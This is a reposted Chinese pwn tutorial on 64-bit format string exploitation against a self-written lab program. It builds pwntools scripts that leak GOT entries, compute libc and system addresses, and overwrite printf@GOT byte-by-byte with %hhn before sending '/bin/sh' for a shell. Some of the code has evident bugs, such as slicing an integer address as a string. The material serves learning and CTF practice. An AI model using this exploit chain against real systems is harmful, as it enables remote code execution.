[转]64位格式化字符串漏洞修改got表利用详解
转载自:https://www.anquanke.com/post/id/194458
前言
格式化字符串漏洞是最基础也是很老的一个漏洞了,网上一搜索就会有一堆的解释、原理、以及利用,但全都是对32位的格式化漏洞的解析,64位的几乎没有,就算有也被一笔带过。
但是当你利用格式化漏洞来修改64位elf的got表时,你会发现并没有详细的那么简单,虽然和32位的原理一样,但payload的构建方法却有所差别。甚至难度也大大增加
故此有了此处尝试以及尝试后的一些总结
漏洞分析
程序源码:
#include<stdio.h>void huan(){ setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); return; } int main(){ char s[60]; huan(); //该函数用来设置缓冲区 while(1){ puts("plese input:"); read(0,s,0x60); printf(s); printf("n"); } return 0; }
漏洞成因
pritnf作为c语言中的输出函数,其使用方式是填充两个参数,分别是格式化字符和变量即:printf(“格式化字符”,变量(指针、整形等变量)); 但有的人为了省事也会写成 printf(变量); 虽然都可以正常输出,但那是在正常情况下。而在不正常的情况下比如被利用时,printf(变量); 这样的写法就变得很危险了
其中格式化字符有:
%c:输出字符,配上%n可用于向指定地址写数据。
%d:输出十进制整数,配上%n可用于向指定地址写数据。
%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。
%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。
%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。
具体如下:
正常输入时可以正常输出:
但是当输入的时格式化字符时:
对比可以发现,正常输入确实可以正常输出,但恶意的输入格式化字符时,那就不行了,危险了,而且是大大的危险了
因为格式化字符,有的可以用来读取,有的可以用来修改,而结合起来就是可读写,相当于当黑客能够掌握这个漏洞时,就拥有了你的计算机的权限,你的计算机也将不再是你的计算机
具体利用请往下看(太过详细的本文不再解释,度娘有一大堆,但偏偏没有64位的,当然可能是本人太菜没找到,欢迎大佬指教、推荐)
此处就接用自己写的程序来讲解64位格式化字符串漏洞的利用
程序分析
该程序是由c语言写的,并没有其他的太多套路,仅作为个人研究格式化字符串漏洞所用,故直接按起手式进行:
接着ida查看伪码:
(本次为了方便,在源码中直接加入了死循环方便格式化字符串漏洞的利用,如果没有循环的话,则可以修改
的值为入口函数的地址,详细的可以参考https://blog.csdn.net/qq_39268483/article/details/92399248,也可自行百度,度娘还是有一堆)
开始利用
思路:
漏洞很明显,就是格式化字符串漏洞,但是审查函数,发现,该程序中并没有system等可以getshell的函数,所以第一步必须先泄露got表中的真实地址,进而获取libc的版本,然后通过libc的版本以及got表中的函数的实际地址,来求出程序运行时的基地址,有了基地址,就可以联合libc中的偏移,来计算出各个动态链接库中的函数的地址,进而getshell了
libc的获取,已经在前面泄露了got中的实际地址,则可以根据泄露出来的实际地址来查询libc 的版本,原理是,在程序运行时的地址虽然会变化,但其实际地址的后三位却不会改变(libc版本的查询及下载网址:https://libc.blukat.me/)
由于网上大部分都是直接给出计算过程而没有给出计算原理,所以本处给出基地址及目的函数的实际地址的计算原理:
第一步:基地址 = 实际地址(泄露的got地址) – libc中对应函数的偏移
第二部:目的函数地址 = 基地址 + libc中对应函数的偏移
获取了目的函数的实际地址,接下来就是利用格式化字符串漏洞来修改got表了
利用过程:
按思路一步一步来,先计算格式化字符串漏洞的偏移:
计算偏移前面输入用来观察的字符,后面输入n多个%x,然后根据泄露出来的十六进制,自己一个一个数偏移时多少,该处计算出偏移为6(或许有的师傅该说,这种简单的数偏移大家都会,我肯定是在浪费大家时间水文,其实不然,或许一个一个数大家都会,但操作起来却又相当麻烦,本处之所以提起偏移的计算,是想向个位师傅分享一个我自己的计算偏移的方法,如果师傅们有其他的好方法希望大家也可以向我分享下,在此拜谢)
def pianyi(pwn_name,x = 'x'): print('pwn_name=' + pwn_name + ',x=' + x) i = 0 while True : r = process(pwn_name) //用来打开程序运行测试偏移 i += 1 /*这里我直接发送了payload,因为不同的程序,前面可能需要接收不同的数据, 所以师傅们用的时候,需要在此处加上recv进行接收数据*/ payload = 'a'*4 + '.' + '%' + str(i) + '$' + '8x' r.sendline(payload) r.recvuntil("aaaa.") r_recv = r.recv(8) print('*'*10 + r_recv + '*'*10) if r_recv == '61616161': print(payload) if x == 'x': s = '%' + str(i) + '$8x' else : s = '%' + str(i) + '$8' + str(x) return s break
一个我自己定义的小函数,该函数调用时要在 process前面调用,不然在返回偏移后程序也就终止了,因为我在函数中用了process
name参数是要进行查格式化字符串偏移的pwn_name,
x是该函数的返回值(一个字符串)选择返回在改偏移下不同的格式化字符,
该函数前面如果需要recv的话,需要自行添加
效果:
循环process目标程序,知道找到偏移,则返回偏移并退出
函数调用exp:
#-*-coding:utf-8 -*- from pwn import * #context.log_level = 'debug' pwn_name = "./pwn33" #***格式化字符串偏移* def pianyi(pwn_name,x = 'x'): print('pwn_name=' + pwn_name + ',x=' + x) i = 0 while True : r = process(pwn_name) i += 1 payload = 'a'*4 + '.' + '%' + str(i) + '$' + '8x' r.sendline(payload) r.recvuntil("aaaa.") r_recv = r.recv(8) print('*'*10 + r_recv + '*'*10) if r_recv == '61616161': print(payload) if x == 'x': s = '%' + str(i) + '$8x' else : s = '%' + str(i) + '$8' + str(x) return s break #***格式化字符串偏移* pianyi(pwn_name) r = process(pwn_name) file = ELF(pwn_name)
第二步:
有了偏移就可以泄露got表(其中要知道,由于延迟绑定技术,只有在程序中执行过的函数,got中才会绑定其真实地址,所以要泄露的时漏洞之前已经执行过的函数)
首先我们先按照32位的payload :payload = p32(泄露地址) + %偏移$x 来构建
exp: #-*-coding:utf-8 -*- from pwn import * context.log_level = 'debug' pwn_name = "./pwn33" #***格式化字符串偏移* def pianyi(pwn_name,x = 'x'): print('pwn_name=' + pwn_name + ',x=' + x) i = 0 while True : r = process(pwn_name) i += 1 payload = 'a'*4 + '.' + '%' + str(i) + '$' + '8x' r.sendline(payload) r.recvuntil("aaaa.") r_recv = r.recv(8) print('*'*10 + r_recv + '*'*10) if r_recv == '61616161': print(payload) if x == 'x': s = '%' + str(i) + '$8x' else : s = '%' + str(i) + '$8' + str(x) return s break #***格式化字符串偏移* #pianyi(pwn_name)//只用泄露出偏移后就没多大用了,对于64位来说,还需改进,故注释r = process(pwn_name) file = ELF(pwn_name) #**泄露got表 r.recvuntil("plese input:") puts_got = file.got['puts'] payload =p64(puts_got) + '%6$s'//如果和32位payload构建顺序一样地址在前,格式化字符在后,则。。。。。(看下面的效果图) r.sendline(payload) r.recvuntil('aaaa') puts_addr = u64(r.recv(6) + '00') #**泄露got表 r.interactive()
效果图:
看效果图,可以发现,在send发送数据时,确实按预期发送了,但是在经过printf输出时,recv接收到的数据,却出现了问题,仅printf到了发送的地址,却没有printf到格式化字符,而格式化字符都没有printf到,那还算是什么格式化字符串漏洞呢。那么原因在哪呢?明明这样来32位的就可以呀,嘿嘿,想继续往下看:
仔细看我们send发送的数据,前面的地址数据经p64()打包后占的是8个字节,就是蓝色方框前的那一串,而蓝色方框中的就是我们的格式化字符串,细心的人就已经发现了,我们send 的地址和我们构造的格式化字符串中间还有好多个 ‘00’ ,而在字符串中 ‘00’ 就代表了结束,所以在printf到‘00’时,就被认为字符串已经结束了,自然不会继续往后面printf了,也即是说我们的字符串都被’00’给截断了。没办法,为了字符串不被截断,我们只能将地址给放在字符串的后面了
exp:
#-*-coding:utf-8 -*- from pwn import * context.log_level = 'debug' pwn_name = "./pwn33"/*由于求偏移的函数在后面已经没多大用了,为了简洁后面都给去除了*/ r = process(pwn_name) file = ELF(pwn_name) #**泄露got表 r.recvuntil("plese input:") puts_got = file.got['puts'] //获取got表的地址 payload = 'a'*4 + '%7$s' + p64(puts_got) //将地址放后面构建payload r.sendline(payload) r.recvuntil('aaaa') puts_addr = u64(r.recv(6) + '00') //接收自got表中泄露出的真实地址 #**泄露got表 r.interactive()
效果:
看浅蓝色方框,哪些 ‘00’ 已经被放在了字符串的最后面,这样也就不会将格式化字符给截断而无法被printf了,而下面recv到的深蓝色方框中原本应该时我们构建的格式化字符的地方已经被解析为got中的实际地址了
有了got中的实际地址,那么就可以获取libc了,通过实际地址的后三位,上图中为:9c0
有了libc接下来计算 基地址 和 system的地址:
exp:
#-*-coding:utf-8 -*-from pwn import * context.log_level = 'debug' pwn_name = "./pwn33"r = process(pwn_name) file = ELF(pwn_name) #**泄露got表 r.recvuntil("plese input:") puts_got = file.got['puts'] payload = 'a'*4 + '%7$s' + p64(puts_got) r.sendline(payload) r.recvuntil('aaaa') puts_addr = u64(r.recv(6) + '00') #**泄露got表 #**获取printf_got地址,并打印其真实地址*** libc = ELF("./libc6_2.27-3ubuntu1_amd64.so") //加载我们泄露出的服务器端的libc printf_got = file.got['printf'] libc_base = puts_addr - libc.symbols['puts'] sys_addr = libc_base + libc.symbols['system'] #**获取printf_got地址,并打印其真实地址*** r.interactive()
效果:
接下来的目标就是将 printfgot中的内容给替换成sys_addr的值,就是将got表中printf的函数地址给修改成system的函数地址,这样再次传入参数 ‘/bin/sh’ 在执行printf时,由于将got表给修改了,就相当于执行了system 函数 即:执行system(‘/bin/sh’)
——————————-格式化字符串漏洞_64位相对于32位的区别及利用重点来啦—————————————
在格式化字符串漏洞中是可以任意写的相信个位师傅也都多少利用过,在这里就是要利用任意写,将printf的got表中的值改写为system的地址,而地址我们上面已经泄露出来了。那么直接构建payload。有的师傅会直接构建为 :payload = ‘a’ * sys_addr + %7$n + p64(printf_got)
但是sys_addr作用后的填充字符,a那是多少个数量级啊,怎么可能一次性读入那么多啊,就算能,谁的程序中会读取那么多字符?仅以本程序为例,还是用的 read(0,s,0x60); 仅读入0x60个字符,所以要换为另一个格式字符,%c ,%numc ,读入的字符屈指可数,但经过格式化漏洞转换后,那就是num个字符的输出同样可以达到相同的修改数据的效果
exp:
#-*-coding:utf-8 -*- from pwn import * context.log_level = 'debug' pwn_name = "./pwn33" r = process(pwn_name) file = ELF(pwn_name) #**泄露got表 r.recvuntil("plese input:") puts_got = file.got['puts'] payload = 'a'*4 + '%7$s' + p64(puts_got) r.sendline(payload) r.recvuntil('aaaa') puts_addr = u64(r.recv(6) + '00') #**泄露got表 #**获取printf_got地址,并打印其真实地址 libc = ELF("./libc6_2.27-3ubuntu1_amd64.so") printf_got = file.got['printf'] libc_base = puts_addr - libc.symbols['puts'] sys_addr = libc_base + libc.symbols['system'] #**获取printf_got地址,并打印其真实地址 #**修改printf_got地址,为sys地址 r.recvuntil("plese input:") payload1 = '%' + str(sys_addr) + 'c' + '%7$n' + p64(printf_got) r.sendline(payload1) #**修改printf_got地址,为sys地址 r.interactive()
到这里或许有的师傅会觉得,也没见和32位的比有什么难度啊,不就是将地址给放到后面吗?这有什么难的,我们也会,哎又一个水货,哈哈,请师傅耐心观赏:
执行上述exp后的效果如上,发现并没有recv到任何数据,哈哈,这就又是一个坑了,当然 这不是我们构造payload时的思路有问题,而是64位程序,printf在输出大量字符时所照成的影响,就像前面一次性读入大量字符会异常一样,printf在一次性输出这么大量的字符时也会出现异常。而且就算不出现异常,那么你在链接服务器时,进行网络传输,它一次性传输大量字符,先不说网络会不会崩溃,就算他不崩溃,没有其他异常,能够正常传输,光说这带宽,一次性传输大量字符,网络卡也要卡死了。
所以,只能换个方法,由于我们这个是一次性修改地址,即sys_addr有着六个字节,所以解决办法便是一个一个字节来做出修改,再加上你仔细观察会发现其实前两个字节,乃至前三个字节都是一样的,所以采用一个字节一个字节的修改,还可以少修改几位
至于怎么修改?请往下看:
我们原先是想要将整个地址都给直接修改了,所以直接输入目标地址即可,但现在想要一个字节一个字节的修改,那么我们自然是要精确到每个字节所在的地址,至于怎么精确?
我们在用%x时是用来查看偏移,看我们的偏移是否于我们填入的地址相照应,用%s来查看我们填入地址中的内容,前提都是同一个地址,而现在我们要精确每一个地址中保存的值,那么我们为什么不试着将地址更改一下试试呢???
我们再次回到泄露got表的步骤来做测试(会的师傅可以跳过这一步了):
#-*-coding:utf-8 -*- from pwn import * context.log_level = 'debug' pwn_name = "./pwn1" r = process(pwn_name) file = ELF(pwn_name) #**泄露got表 r.recvuntil("plese input:") puts_got = file.got['puts'] payload = 'a'*4 + '%7$s' + p64(puts_got + 1) //不改变地址时,泄露的是完整的六位(减去最高位的两个零,为六位),现在尝试加一 r.sendline(payload) r.recvuntil('aaaa') puts_addr = u64(r.recv(6) + '00') #**泄露got表 r.interactive()
在不改动地址,直接泄露时可以发现,泄露出的是完整的六位
当对地址加一时,可以发现,泄露出的地址少了一位(同样的对地址进行加一减一自己尝试,就可以发现泄露出的真实地址位数也在改变):
综上所述,当对目标地址加一(进行偏移)时,读取到的真实地址就也在变化,这样,我们就可以确定真实地址的每一位所在的位置了
接下来就是对每个位置的真实地址的值做修改了
又因一次仅修改一个字节,所以我们这里用%hhn(上面格式化字符处有介绍)
因为通过上面的便宜测试,我们可以知道直接 %x got中的真实地址的话,其实是重真实地址的最后一位开始泄露的,所以我们第一个修改的字节也就是最后一位的(前面已经通过libc计算了基地址和system的地址,可以自行向上查找)
先放脚本和效果,然后再详解:
#-*-coding:utf-8 -*- from pwn import * context.log_level = 'debug' pwn_name = "./pwn1" r = process(pwn_name) file = ELF(pwn_name) #**泄露got表 r.recvuntil("plese input:") puts_got = file.got['puts'] payload = 'a'*4 + '%7$s' + p64(puts_got ) r.sendline(payload) r.recvuntil('aaaa') puts_addr = u64(r.recv(6) + '00') #**泄露got表 #**获取printf_got地址,并打印其真实地址 libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") printf_got = file.got['printf'] libc_base = puts_addr - libc.symbols['puts'] sys_addr = libc_base + libc.symbols['system'] payload = 'a'*4 + '%7$s' + p64(printf_got) r.sendline(payload) r.recvuntil('aaaa') printf_addr = u64(r.recv(6) + '00') #**获取printf_got地址,并打印其真实地址 #**修改printf_got地址,为sys地址 r.recvuntil("plese input:") sys_addr_min = sys_addr[6:] a = int(sys_addr_min[2:4],16) b = int(sys_addr_min[4:6],16) c = int(sys_addr_min[6:8],16) if a < b or b < c : execfile("pwn2.py") quit() payload1 = '%' + str(c) + 'c' + '%11$hhn' payload1 += '%' + str(b - c) + 'c' + '%12$hhn' payload1 += '%' + str(a - b) + 'c' + '%13$hhn' n4 = len(payload1) n5 = 0 if n4 < 40 : n5 = 40 - n4 payload1 += 'a'*n5 n6 = len(payload1) payload1 += p64(printf_got) + p64(printf_got+1) + p64(printf_got+2) r.sendline(payload1) #**修改printf_got地址,为sys地址**** r.interactive()
第一:
由上图可以发现两个真实地址仅有后三个字节是不相同的,所以我们仅需要修改后三位的值就可以了
第二:
你可以发现我上面有一个判断,如果不满足条件就再次调用脚本知道满足我们的要求
这个判断是为了让这个地址的后三位是按从大到小的顺序排列,因为我们的%n是目标地址中的值修改为其前面打印出的字符数量,所以如果地址的后三位不是按我们要求的递增来的,那么我们用%c来修改值的话就不好计算,比如地址为:0x7f5f6fc7a440 其后三个字节为:c7a440,其中c7明显大于a4,这样就会导致我们的payload难以构建,因为我们要一次性修改三次,将地址的后三位全部进行修改,所以如果后三个字节大小顺序不确定的话,就会导致我们的payload的对应的地址的顺寻不确定
过了这个坑,我们也就修改了got表,就可以直接传参 bin/sh 进行利用了
完整exp:
#-*-coding:utf-8 -*- from pwn import * context.log_level = 'debug' pwn_name = "./pwn1" #***格式化字符串偏移* def pianyi(pwn_name,x = 'x'): print('pwn_name=' + pwn_name + ',x=' + x) i = 0 while True : r = process(pwn_name) i += 1 payload = 'a'*4 + '.' + '%' + str(i) + '$' + '8x' r.sendline(payload) r.recvuntil("aaaa.") r_recv = r.recv(8) print('*'*10 + r_recv + '*'*10) if r_recv == '61616161': print(payload) if x == 'x': s = '%' + str(i) + '$8x' else : s = '%' + str(i) + '$8' + str(x) return s break #***格式化字符串偏移* r = process(pwn_name) file = ELF(pwn_name) #pianyi(pwn_name)# %6$8x #**泄露got表 r.recvuntil("plese input:") puts_got = file.got['puts'] payload = 'a'*4 + '%7$s' + p64(puts_got) r.sendline(payload) r.recvuntil('aaaa') puts_addr = u64(r.recv(6) + '00') #**泄露got表 #**获取printf_got地址,并打印其真实地址 libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") printf_got = file.got['printf'] libc_base = puts_addr - libc.symbols['puts'] sys_addr = libc_base + libc.symbols['system'] payload = 'a'*4 + '%7$s' + p64(printf_got) r.sendline(payload) r.recvuntil('aaaa') printf_addr = u64(r.recv(6) + '00') #**获取printf_got地址,并打印其真实地址 #**修改printf_got地址,为sys地址 r.recvuntil("plese input:") sys_addr_min = sys_addr[6:] print('*'*10 + 'sys_addr:' + str(sys_addr_min) + '*'*10) a = int(sys_addr_min[2:4],16) b = int(sys_addr_min[4:6],16) c = int(sys_addr_min[6:8],16) if a < b or b < c : execfile("pwn2.py") quit() payload1 = '%' + str(c) + 'c' + '%11$hhn' payload1 += '%' + str(b - c) + 'c' + '%12$hhn' payload1 += '%' + str(a - b) + 'c' + '%13$hhn' n4 = len(payload1) n5 = 0if n4 < 40 : n5 = 40 - n4 payload1 += 'a'*n5 n6 = len(payload1) payload1 += p64(printf_got) + p64(printf_got+1) + p64(printf_got+2) r.sendline(payload1) #**修改printf_got地址,为sys地址 r.recvuntil("plese input:") r.sendline("/bin/sh") r.interactive()